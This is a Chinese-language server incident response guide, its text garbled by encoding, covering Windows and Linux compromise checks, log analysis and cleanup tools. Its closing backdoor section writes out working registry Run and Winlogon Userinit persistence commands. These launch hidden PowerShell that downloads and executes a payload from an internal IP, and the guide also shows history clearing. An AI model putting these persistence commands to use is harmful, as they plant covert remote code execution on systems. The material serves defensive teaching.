应急响应笔记
黑客病毒千千萬(wàn),人才工具處處有。
?
攻擊威脅早發(fā)現(xiàn),不留后門要根除。
面對(duì)各種各樣的安全事件,我們?cè)撛趺刺幚?#xff1f;
當(dāng)企業(yè)發(fā)生黑客入侵、系統(tǒng)崩潰或其它影響業(yè)務(wù)正常運(yùn)行的安全事件時(shí),急需第一時(shí)間進(jìn)行處理,使企業(yè)的網(wǎng)絡(luò)信息系統(tǒng)在最短時(shí)間內(nèi)恢復(fù)正常工作,進(jìn)一步查找入侵來(lái)源,還原入侵事故過(guò)程,同時(shí)給出解決方案與防范措施,為企業(yè)挽回或減少經(jīng)濟(jì)損失。
對(duì)于病毒入侵,黑客攻擊等等我們又知道多少?
所以在現(xiàn)實(shí)中會(huì)時(shí)不時(shí)出現(xiàn)不同的人,不同的手段攻擊我們,這時(shí)我們就需要進(jìn)行應(yīng)急響應(yīng)分析。
目錄
分析入侵原因- -消除入侵影響
windows(服務(wù)器)
Linux(服務(wù)器)
工具篇
清理木馬后門
windows
1處理 隱藏(后門)文件
2 隱藏賬號(hào)
3 端口復(fù)用
4 進(jìn)程注入
?Linux
1 處理隱藏文件
2 隱藏文件時(shí)間戳
3 隱藏權(quán)限
4 隱藏歷史操作命令
5 隱藏遠(yuǎn)程SSH登陸記錄
6 端口復(fù)用
7 進(jìn)程隱藏
提供安全建議
常見(jiàn)的應(yīng)急響應(yīng)事件分類:
Web 入侵:網(wǎng)頁(yè)掛馬、主頁(yè)篡改、Webshell
系統(tǒng)入侵:病毒木馬、勒索軟件、遠(yuǎn)控后門
網(wǎng)絡(luò)攻擊:DDOS 攻擊、DNS 劫持、ARP 欺騙
分析入侵原因- -消除入侵影響
windows(服務(wù)器)
一,入侵排查思路
1> 檢查系統(tǒng)賬號(hào)
1、查看服務(wù)器是否有弱口令,遠(yuǎn)程管理端口是否對(duì)公網(wǎng)開(kāi)放。
-
檢查方法:據(jù)實(shí)際情況咨詢相關(guān)服務(wù)器管理員。
2、查看服務(wù)器是否存在可疑賬號(hào)、新增賬號(hào)。
-
檢查方法:打開(kāi) cmd 窗口,輸入 lusrmgr.msc 命令,查看是否有新增/可疑的賬號(hào),如有管理員群組的(Administrators)里的新增賬戶,如有,請(qǐng)立即禁用或刪除掉。
3、查看服務(wù)器是否存在隱藏賬號(hào)、克隆賬號(hào)。
-
檢查方法:
a、打開(kāi)注冊(cè)表 ,查看管理員對(duì)應(yīng)鍵值。
b、使用D盾_web查殺工具,集成了對(duì)克隆賬號(hào)檢測(cè)的功能。
4、結(jié)合日志,查看管理員登錄時(shí)間、用戶名是否存在異常。
-
檢查方法:
a、Win+R 打開(kāi)運(yùn)行,輸入"eventvwr.msc",回車運(yùn)行,打開(kāi)“事件查看器”。
b、導(dǎo)出 Windows 日志 -- 安全,利用微軟官方工具 Log Parser 進(jìn)行分析。
?2> 檢查異常的端口,進(jìn)程
1、檢查端口連接情況,是否有遠(yuǎn)程連接、可疑連接。
-
檢查方法:
a、使用netstat -ano 命令查看目前的網(wǎng)絡(luò)連接,定位可疑的 ESTABLISHED
b、根據(jù) netstat 命令定位出的 PID 編號(hào),再通過(guò) tasklist 命令進(jìn)行進(jìn)程定位 tasklist | findstr "PID"
2、進(jìn)程
-
檢查方法:
a、開(kāi)始 -- 運(yùn)行 -- 輸入 msinfo32 命令,依次點(diǎn)擊 "軟件環(huán)境 -- 正在運(yùn)行任務(wù)" 就可以查看到進(jìn)程的詳細(xì)信息,比如進(jìn)程路徑、進(jìn)程ID、文件創(chuàng)建日期以及啟動(dòng)時(shí)間等。
b、打開(kāi)D盾_web查殺工具,進(jìn)程查看,關(guān)注沒(méi)有簽名信息的進(jìn)程。
c、通過(guò)微軟官方提供的 Process Explorer 等工具進(jìn)行排查 。
d、查看可疑的進(jìn)程及其子進(jìn)程。可以通過(guò)觀察以下內(nèi)容:
沒(méi)有簽名驗(yàn)證信息的進(jìn)程 沒(méi)有描述信息的進(jìn)程 進(jìn)程的屬主 進(jìn)程的路徑是否合法 CPU 或內(nèi)存資源占用長(zhǎng)時(shí)間過(guò)高的進(jìn)程
3、小技巧:
a、查看端口對(duì)應(yīng)的 PID:netstat -ano | findstr "port"
b、查看進(jìn)程對(duì)應(yīng)的 PID:任務(wù)管理器 -- 查看 -- 選擇列 -- PID 或者 tasklist | findstr "PID"
c、查看進(jìn)程對(duì)應(yīng)的程序位置:
任務(wù)管理器 -- 選擇對(duì)應(yīng)進(jìn)程 -- 右鍵打開(kāi)文件位置
運(yùn)行輸入 wmic,cmd 界面輸入 process
d、tasklist /svc 進(jìn)程 -- PID -- 服務(wù)
e、查看Windows服務(wù)所對(duì)應(yīng)的端口:
%systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路徑)
3> 檢查啟動(dòng)項(xiàng)、計(jì)劃任務(wù)、服務(wù)
1、檢查服務(wù)器是否有異常的啟動(dòng)項(xiàng)。
-
檢查方法:
a、登錄服務(wù)器,單擊【開(kāi)始】>【所有程序】>【啟動(dòng)】,默認(rèn)情況下此目錄在是一個(gè)空目錄,確認(rèn)是否有非業(yè)務(wù)程序在該目錄下。 b、單擊開(kāi)始菜單 >【運(yùn)行】,輸入 msconfig,查看是否存在命名異常的啟動(dòng)項(xiàng)目,是則取消勾選命名異常的啟動(dòng)項(xiàng)目,并到命令中顯示的路徑刪除文件。 c、單擊【開(kāi)始】>【運(yùn)行】,輸入 regedit,打開(kāi)注冊(cè)表,查看開(kāi)機(jī)啟動(dòng)項(xiàng)是否正常,特別注意如下三個(gè)注冊(cè)表項(xiàng):
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce檢查右側(cè)是否有啟動(dòng)異常的項(xiàng)目,如有請(qǐng)刪除,并建議安裝殺毒軟件進(jìn)行病毒查殺,清除殘留病毒或木馬。
d、利用安全軟件查看啟動(dòng)項(xiàng)、開(kāi)機(jī)時(shí)間管理等。
e、組策略,運(yùn)行 gpedit.msc
2、檢查計(jì)劃任務(wù)
-
檢查方法:
a、單擊【開(kāi)始】>【設(shè)置】>【控制面板】>【任務(wù)計(jì)劃】,查看計(jì)劃任務(wù)屬性,便可以發(fā)現(xiàn)木馬文件的路徑。
b、單擊【開(kāi)始】>【運(yùn)行】;輸入 cmd,然后輸入 at,檢查計(jì)算機(jī)與網(wǎng)絡(luò)上的其它計(jì)算機(jī)之間的會(huì)話或計(jì)劃任務(wù),如有,則確認(rèn)是否為正常連接。
3、服務(wù)自啟動(dòng)
-
檢查方法:單擊【開(kāi)始】>【運(yùn)行】,輸入 services.msc,注意服務(wù)狀態(tài)和啟動(dòng)類型,檢查是否有異常服務(wù)。
4> 檢查系統(tǒng)相關(guān)信息
1、查看系統(tǒng)版本以及補(bǔ)丁信息
-
檢查方法:單擊【開(kāi)始】>【運(yùn)行】,輸入 systeminfo,查看系統(tǒng)信息。
2、查找可疑目錄及文件
-
檢查方法:
a、 查看用戶目錄,新建賬號(hào)會(huì)在這個(gè)目錄生成一個(gè)用戶目錄,查看是否有新建用戶目錄。
Window 2003版本 C:\Documents and Settings Window 2008R2及以后版本 C:\Users\b、單擊【開(kāi)始】>【運(yùn)行】,輸入 %UserProfile%\Recent,分析最近打開(kāi)分析可疑文件。
c、在服務(wù)器各個(gè)目錄,可根據(jù)文件夾內(nèi)文件列表時(shí)間進(jìn)行排序,查找可疑文件。
d、回收站、瀏覽器下載目錄、瀏覽器歷史記錄
e、修改時(shí)間在創(chuàng)建時(shí)間之前的為可疑文件
3、發(fā)現(xiàn)并得到 WebShell、遠(yuǎn)控木馬的創(chuàng)建時(shí)間,如何找出同一時(shí)間范圍內(nèi)創(chuàng)建的文件?
a、利用 Registry Workshop 注冊(cè)表編輯器的搜索功能,可以找到最后寫(xiě)入時(shí)間區(qū)間的文件。 b、利用計(jì)算機(jī)自帶文件搜索功能,指定修改時(shí)間進(jìn)行搜索。
5> 自動(dòng)化查殺
-
病毒查殺
-
檢查方法:下載安全軟件,更新最新病毒庫(kù),進(jìn)行全盤(pán)掃描。
-
-
webshell查殺
-
檢查方法:選擇具體站點(diǎn)路徑進(jìn)行webshell查殺,建議使用兩款 WebShell 查殺工具同時(shí)查殺,可相互補(bǔ)充規(guī)則庫(kù)的不足。
-
6> 日志分析
系統(tǒng)日志
-
分析方法:
a、前提:開(kāi)啟審核策略,若日后系統(tǒng)出現(xiàn)故障、安全事故則可以查看系統(tǒng)的日志文件,排除故障,追查入侵者的信息等。
b、Win+R 打開(kāi)運(yùn)行,輸入 "eventvwr.msc",回車運(yùn)行,打開(kāi)"事件查看器"。
C、導(dǎo)出應(yīng)用程序日志、安全日志、系統(tǒng)日志,利用 Log Parser 進(jìn)行分析。
Web 訪問(wèn)日志
-
分析方法:
a、找到中間件的web日志,打包到本地方便進(jìn)行分析。
b、推薦工具:Windows 下,推薦用 EmEditor 進(jìn)行日志分析,支持大文本,搜索效率還不錯(cuò)。Linux 下,使用 Shell 命令組合查詢分析。
工具
1 .病毒分析
PCHunter:惡意代碼檢測(cè) 虛擬機(jī)脫殼. Rootkit檢測(cè) 木馬檢測(cè)
火絨劍:火絨安全
Process Explorer:進(jìn)程資源管理器 - Windows Sysinternals | Microsoft Docs
processhacker:Downloads - Process Hacker
autoruns:Autoruns for Windows - Windows Sysinternals | Microsoft Docs
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:下載-殺毒軟件下載,防病毒,反木馬 - ESET NOD32中國(guó)官方網(wǎng)站
2 .病毒查殺
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推薦理由:綠色版、最新病毒庫(kù))
大蜘蛛:Dr.Web CureIt! — Скачать бесплатно(推薦理由:掃描快、一次下載只能用1周,更新病毒庫(kù))
火絨安全軟件:火絨安全
360殺毒:360殺毒_下載中心
3. 病毒動(dòng)態(tài)
CVERC-國(guó)家計(jì)算機(jī)病毒應(yīng)急處理中心:CVERC-國(guó)家計(jì)算機(jī)病毒應(yīng)急處理中心
微步在線威脅情報(bào)社區(qū):微步在線X情報(bào)社區(qū)-威脅情報(bào)查詢_威脅分析平臺(tái)_開(kāi)放社區(qū)
火絨安全論壇:火絨安全軟件 - 火絨安全軟件
愛(ài)毒霸社區(qū):金山毒霸官方網(wǎng)站-病毒防護(hù)_垃圾清理_軟件管家_彈窗攔截-永久免費(fèi)的殺毒軟件
騰訊電腦管家:軟件功能下載_頑固木馬專殺_網(wǎng)絡(luò)診斷工具-騰訊電腦管家論壇
4 .在線病毒掃描網(wǎng)站
Virustotal:VirusTotal
Virscan:VirSCAN.org - Free Multi-Engine Online Virus Scanner v1.02, Supports 47 AntiVirus Engines!
騰訊哈勃分析系統(tǒng):騰訊哈勃分析系統(tǒng)
Jotti 惡意軟件掃描系統(tǒng):Jotti's malware scan
5 .webshell查殺
D盾_Web查殺:D盾防火墻
河馬 WebShell 查殺:SHELLPUB.COM 專注查殺,永久免費(fèi)
Linux(服務(wù)器)
1 賬號(hào)安全
基本使用:
1、用戶信息文件 /etc/passwd root:x:0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用戶名:密碼:用戶ID:組ID:用戶說(shuō)明:家目錄:登陸之后的 shell 注意:無(wú)密碼只允許本機(jī)登陸,遠(yuǎn)程不允許登陸 ? 2、影子文件 /etc/shadow root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7::: 用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時(shí)間間隔:密碼有效期:密碼修改到期到的警告天數(shù):密碼過(guò)期之后的寬限天數(shù):賬號(hào)失效時(shí)間:保留 who ? ? 查看當(dāng)前登錄用戶(tty 本地登陸 pts 遠(yuǎn)程登錄) w ? ? ? 查看系統(tǒng)信息,想知道某一時(shí)刻用戶的行為 uptime 查看登陸多久、多少用戶,負(fù)載狀態(tài)入侵排查:
1、查詢特權(quán)用戶特權(quán)用戶(uid 為0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd 2、查詢可以遠(yuǎn)程登錄的帳號(hào)信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow 3、除root帳號(hào)外,其他帳號(hào)是否存在sudo權(quán)限。如非管理需要,普通帳號(hào)應(yīng)刪除sudo權(quán)限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 4、禁用或刪除多余及可疑的帳號(hào)usermod -L user ? 禁用帳號(hào),帳號(hào)無(wú)法登錄,/etc/shadow 第二欄為 ! 開(kāi)頭userdel user ? ? ? 刪除 user 用戶userdel -r user ? 將刪除 user 用戶,并且將 /home 目錄下的 user 目錄一并刪除2 歷史命令
基本使用:
通過(guò) .bash_history 文件查看帳號(hào)執(zhí)行過(guò)的系統(tǒng)命令
1、root 用戶的歷史命令 histroy 2、打開(kāi) /home 各帳號(hào)目錄下的 .bash_history,查看普通帳號(hào)執(zhí)行的歷史命令。 為歷史的命令增加登錄的 IP 地址、執(zhí)行命令時(shí)間等信息: 1)保存1萬(wàn)條命令 sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 2)在/etc/profile的文件尾部添加如下行數(shù)配置信息: ######jiagu history xianshi######### USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a" ######### jiagu history xianshi ########## 3)source /etc/profile 讓配置生效 生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile 3、歷史操作命令的清除:history -c 但此命令并不會(huì)清除保存在文件中的記錄,因此需要手動(dòng)刪除 .bash_profile 文件中的記錄。入侵排查:
進(jìn)入用戶目錄下,導(dǎo)出歷史命令。 cat .bash_history >> history.txt3 檢查異常端口
使用 netstat 網(wǎng)絡(luò)連接命令,分析可疑端口、IP、PID
netstat -antlp | more ? 查看下 pid 所對(duì)應(yīng)的進(jìn)程文件路徑, 運(yùn)行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 為對(duì)應(yīng)的 pid 號(hào))4 檢查異常進(jìn)程
使用 ps 命令,分析進(jìn)程
ps aux | grep pid5 檢查開(kāi)機(jī)啟動(dòng)項(xiàng)
基本使用:
系統(tǒng)運(yùn)行級(jí)別示意圖:
| 0 | 關(guān)機(jī) |
| 1 | 單用戶模式,可以想象為windows的安全模式,主要用于系統(tǒng)修復(fù) |
| 2 | 不完全的命令行模式,不含NFS服務(wù) |
| 3 | 完全的命令行模式,就是標(biāo)準(zhǔn)字符界面 |
| 4 | 系統(tǒng)保留 |
| 5 | 圖形模式 |
| 6 | 重啟動(dòng) |
查看運(yùn)行級(jí)別命令 runlevel
系統(tǒng)默認(rèn)允許級(jí)別
vi /etc/inittab id=3:initdefault #系統(tǒng)開(kāi)機(jī)后直接進(jìn)入哪個(gè)運(yùn)行級(jí)別開(kāi)機(jī)啟動(dòng)配置文件
/etc/rc.local /etc/rc.d/rc[0~6].d例子:當(dāng)我們需要開(kāi)機(jī)啟動(dòng)自己的腳本時(shí),只需要將可執(zhí)行腳本丟在 /etc/init.d 目錄下,然后在 /etc/rc.d/rc*.d 文件中建立軟鏈接即可。
注:此中的 * 代表 0,1,2,3,4,5,6 這七個(gè)等級(jí)
root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh此處sshd是具體服務(wù)的腳本文件,S100ssh是其軟鏈接,S開(kāi)頭代表加載時(shí)自啟動(dòng);如果是K開(kāi)頭的腳本文件,代表運(yùn)行級(jí)別加載時(shí)需要關(guān)閉的。
入侵排查:
啟動(dòng)項(xiàng)文件:
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/6 檢查定時(shí)任務(wù)
基本使用
1、利用 crontab 創(chuàng)建計(jì)劃任務(wù)
-
基本命令
crontab -l ? 列出某個(gè)用戶cron服務(wù)的詳細(xì)內(nèi)容 ? Tips:默認(rèn)編寫(xiě)的crontab文件會(huì)保存在 (/var/spool/cron/用戶名 例如: /var/spool/cron/root ? crontab -r ? 刪除每個(gè)用戶cront任務(wù)(謹(jǐn)慎:刪除所有的計(jì)劃任務(wù)) ? crontab -e ? 使用編輯器編輯當(dāng)前的crontab文件 ? 如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分鐘寫(xiě)入文件
2、利用 anacron 命令實(shí)現(xiàn)異步定時(shí)任務(wù)調(diào)度
-
使用案例
每天運(yùn)行 /home/backup.sh 腳本: vi /etc/anacrontab @daily ? 10 ? example.daily ? /bin/bash /home/backup.sh 當(dāng)機(jī)器在 backup.sh 期望被運(yùn)行時(shí)是關(guān)機(jī)的,anacron會(huì)在機(jī)器開(kāi)機(jī)十分鐘之后運(yùn)行它,而不用再等待 7天。
入侵排查
重點(diǎn)關(guān)注以下目錄中是否存在惡意腳本
/var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*小技巧:
more /etc/cron.daily/* 查看目錄下所有文件7 檢查服務(wù)
服務(wù)自啟動(dòng)
第一種修改方法:
chkconfig [--level 運(yùn)行級(jí)別] [獨(dú)立服務(wù)名] [on|off] chkconfig –level 2345 httpd on 開(kāi)啟自啟動(dòng) chkconfig httpd on (默認(rèn)level是2345)第二種修改方法:
修改 /etc/re.d/rc.local 文件 ? 加入 /etc/init.d/httpd start第三種修改方法:
使用 ntsysv 命令管理自啟動(dòng),可以管理獨(dú)立服務(wù)和 xinetd 服務(wù)。
入侵排查
1、查詢已安裝的服務(wù):
RPM 包安裝的服務(wù)
chkconfig --list 查看服務(wù)自啟動(dòng)狀態(tài),可以看到所有的RPM包安裝的服務(wù) ps aux | grep crond 查看當(dāng)前服務(wù)系統(tǒng)在3與5級(jí)別下的啟動(dòng)項(xiàng) 中文環(huán)境 chkconfig --list | grep "3:啟用\|5:啟用" 英文環(huán)境 chkconfig --list | grep "3:on\|5:on"源碼包安裝的服務(wù)
查看服務(wù)安裝位置 ,一般是在/user/local/ service httpd start 搜索/etc/rc.d/init.d/ 查看是否存在8 檢查異常文件
1、查看敏感目錄,如/tmp目錄下的文件,同時(shí)注意隱藏文件夾,以“..”為名的文件夾具有隱藏屬性
2、得到發(fā)現(xiàn)WEBSHELL、遠(yuǎn)控木馬的創(chuàng)建時(shí)間,如何找出同一時(shí)間范圍內(nèi)創(chuàng)建的文件?
可以使用find命令來(lái)查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前訪問(wèn)過(guò)的文件
3、針對(duì)可疑文件可以使用 stat 進(jìn)行創(chuàng)建修改時(shí)間。
9 檢查系統(tǒng)日志
日志默認(rèn)存放位置:/var/log/
查看日志配置情況:more /etc/rsyslog.conf
| /var/log/cron | 記錄了系統(tǒng)定時(shí)任務(wù)相關(guān)的日志 |
| /var/log/cups | 記錄打印信息的日志 |
| /var/log/dmesg | 記錄了系統(tǒng)在開(kāi)機(jī)時(shí)內(nèi)核自檢的信息,也可以使用dmesg命令直接查看內(nèi)核自檢信息 |
| /var/log/mailog | 記錄郵件信息 |
| /var/log/message | 記錄系統(tǒng)重要信息的日志。這個(gè)日志文件中會(huì)記錄Linux系統(tǒng)的絕大多數(shù)重要信息,如果系統(tǒng)出現(xiàn)問(wèn)題時(shí),首先要檢查的就應(yīng)該是這個(gè)日志文件 |
| /var/log/btmp | 記錄錯(cuò)誤登錄日志,這個(gè)文件是二進(jìn)制文件,不能直接vi查看,而要使用lastb命令查看 |
| /var/log/lastlog | 記錄系統(tǒng)中所有用戶最后一次登錄時(shí)間的日志,這個(gè)文件是二進(jìn)制文件,不能直接vi,而要使用lastlog命令查看 |
| /var/log/wtmp | 永久記錄所有用戶的登錄、注銷信息,同時(shí)記錄系統(tǒng)的啟動(dòng)、重啟、關(guān)機(jī)事件。同樣這個(gè)文件也是一個(gè)二進(jìn)制文件,不能直接vi,而需要使用last命令來(lái)查看 |
| /var/log/utmp | 記錄當(dāng)前已經(jīng)登錄的用戶信息,這個(gè)文件會(huì)隨著用戶的登錄和注銷不斷變化,只記錄當(dāng)前登錄用戶的信息。同樣這個(gè)文件不能直接vi,而要使用w,who,users等命令來(lái)查詢 |
| /var/log/secure | 記錄驗(yàn)證和授權(quán)方面的信息,只要涉及賬號(hào)和密碼的程序都會(huì)記錄,比如SSH登錄,su切換用戶,sudo授權(quán),甚至添加用戶和修改用戶密碼都會(huì)記錄在這個(gè)日志文件中 |
日志分析技巧:
? 1、定位有多少IP在爆破主機(jī)的root帳號(hào): ? ? grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ? 定位有哪些IP在爆破: grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c ? 爆破用戶名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登錄成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ? 登錄成功的日期、用戶名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' ? 3、增加一個(gè)用戶kali日志: Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001 Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali , shell=/bin/bash Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali #grep "useradd" /var/log/secure ? 4、刪除用戶kali日志: Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali' # grep "userdel" /var/log/secure ? 5、su切換用戶: Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0) ? sudo授權(quán)執(zhí)行: sudo -l Jul 10 00:43:09 localhost sudo: ? good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now工具篇
1 Rootkit查殺
-
chkrootkit
網(wǎng)址:chkrootkit -- locally checks for signs of a rootkit
使用方法: wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense #編譯完成沒(méi)有報(bào)錯(cuò)的話執(zhí)行檢查 ./chkrootkit -
rkhunter
網(wǎng)址:The Rootkit Hunter project
使用方法: Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
2 病毒查殺
-
Clamav
網(wǎng)址:ClamAVNet
安裝方式一:
1、安裝 zlib: wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz tar -zxvf zlib-1.2.7.tar.gz cd zlib-1.2.7 #安裝一下gcc編譯環(huán)境: yum install gcc CFLAGS="-O3 -fPIC" ./configure --prefix= /usr/local/zlib/ make && make install ? 2、添加用戶組 clamav 和組成員 clamav: groupadd clamav useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav ? 3、安裝 Clamav tar –zxvf clamav-0.97.6.tar.gz cd clamav-0.97.6 ./configure --prefix=/opt/clamav --disable-clamav -with-zlib=/usr/local/zlib make make install ? 4、配置 Clamav mkdir /opt/clamav/logs mkdir /opt/clamav/updata touch /opt/clamav/logs/freshclam.log touch /opt/clamav/logs/clamd.log cd /opt/clamav/logs chown clamav:clamav clamd.log chown clamav:clamav freshclam.log ? 5、ClamAV 使用:/opt/clamav/bin/freshclam 升級(jí)病毒庫(kù) ./clamscan –h 查看相應(yīng)的幫助信息 ./clamscan -r /home 掃描所有用戶的主目錄就使用 ./clamscan -r --bell -i /bin 掃描bin目錄并且顯示有問(wèn)題的文件的掃描結(jié)果安裝方式二:
#安裝 yum install -y clamav #更新病毒庫(kù) freshclam #掃描方法 clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log #掃描并殺毒 clamscan -r --remove /usr/bin/bsd-port clamscan -r --remove /usr/bin/ clamscan -r --remove /usr/local/zabbix/sbin #查看日志發(fā)現(xiàn) cat /root/usrclamav.log |grep FOUND
3 webshell查殺
Linux 版:
河馬 WebShell 查殺:http://www.shellpub.com4 RPM check 檢查
系統(tǒng)完整性可以通過(guò)rpm自帶的-Va來(lái)校驗(yàn)檢查所有的rpm軟件包,查看哪些命令是否被替換了:
./rpm -Va > rpm.log如果一切均校驗(yàn)正常將不會(huì)產(chǎn)生任何輸出,如果有不一致的地方,就會(huì)顯示出來(lái),輸出格式是8位長(zhǎng)字符串,每個(gè)字符都用以表示文件與RPM數(shù)據(jù)庫(kù)中一種屬性的比較結(jié)果 ,如果是. (點(diǎn)) 則表示測(cè)試通過(guò)。
驗(yàn)證內(nèi)容中的8個(gè)信息的具體內(nèi)容如下:S ? ? ? ? 文件大小是否改變M ? ? ? ? 文件的類型或文件的權(quán)限(rwx)是否被改變5 ? ? ? ? 文件MD5校驗(yàn)是否改變(可以看成文件內(nèi)容是否改變)D ? ? ? ? 設(shè)備中,從代碼是否改變L ? ? ? ? 文件路徑是否改變U ? ? ? ? 文件的屬主(所有者)是否改變G ? ? ? ? 文件的屬組是否改變T ? ? ? ? 文件的修改時(shí)間是否改變如果命令被替換了,如果還原回來(lái):
文件提取還原案例: rpm -qf /bin/ls 查詢 ls 命令屬于哪個(gè)軟件包 mv /bin/ls /tmp 先把 ls 轉(zhuǎn)移到 tmp 目錄下,造成 ls 命令丟失的假象 rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到當(dāng)前目錄的 /bin/ls 下 cp /root/bin/ls /bin/ 把 ls 命令復(fù)制到 /bin/ 目錄 修復(fù)文件丟失5 Linux安全檢查腳本
Github 項(xiàng)目地址:
https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
GitHub - T0xst/linux: linux安全檢查
清理木馬后門
在獲取服務(wù)器權(quán)限后,通常會(huì)用一些后門技術(shù)來(lái)維持服務(wù)器權(quán)限,服務(wù)器一旦被植入后門,攻擊者便如入無(wú)人之境。本節(jié)將對(duì)常見(jiàn)的window服務(wù)端自啟動(dòng)后門技術(shù)進(jìn)行解析,知己知彼方能杜絕后門。
windows
1 注冊(cè)表自啟動(dòng)
通過(guò)修改注冊(cè)表自啟動(dòng)鍵值,添加一個(gè)木馬程序路徑,實(shí)現(xiàn)開(kāi)機(jī)自啟動(dòng)。
常用的注冊(cè)表啟動(dòng)鍵:
# Run鍵 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ? # Winlogon\Userinit鍵 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon ? 類似的還有很多,關(guān)鍵詞:注冊(cè)表啟動(dòng)鍵值。使用以下命令可以一鍵實(shí)現(xiàn)無(wú)文件注冊(cè)表后門:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
Logon Scripts 后門
注冊(cè)表路徑:HKEY_CURRENT_USER\Environment\
創(chuàng)建字符串鍵值: UserInitMprLogonScript,鍵值設(shè)置為bat的絕對(duì)路徑:c:\test.bat
userinit后門
在用戶進(jìn)行登陸時(shí),winlogon運(yùn)行指定的程序。根據(jù)官方文檔,可以更改它的值來(lái)添加與刪除程序。
利用USERINIT注冊(cè)表鍵實(shí)現(xiàn)無(wú)文件后門:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""2 組策略設(shè)置腳本啟動(dòng)
運(yùn)行g(shù)pedit.msc進(jìn)入本地組策略,通過(guò)Windows設(shè)置的“腳本(啟動(dòng)/關(guān)機(jī))”項(xiàng)來(lái)說(shuō)實(shí)現(xiàn)。因?yàn)槠錁O具隱蔽性,因此常常被攻擊者利用來(lái)做服務(wù)器后門。
容易遇到的問(wèn)題:腳本需全路徑,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3 計(jì)劃任務(wù)
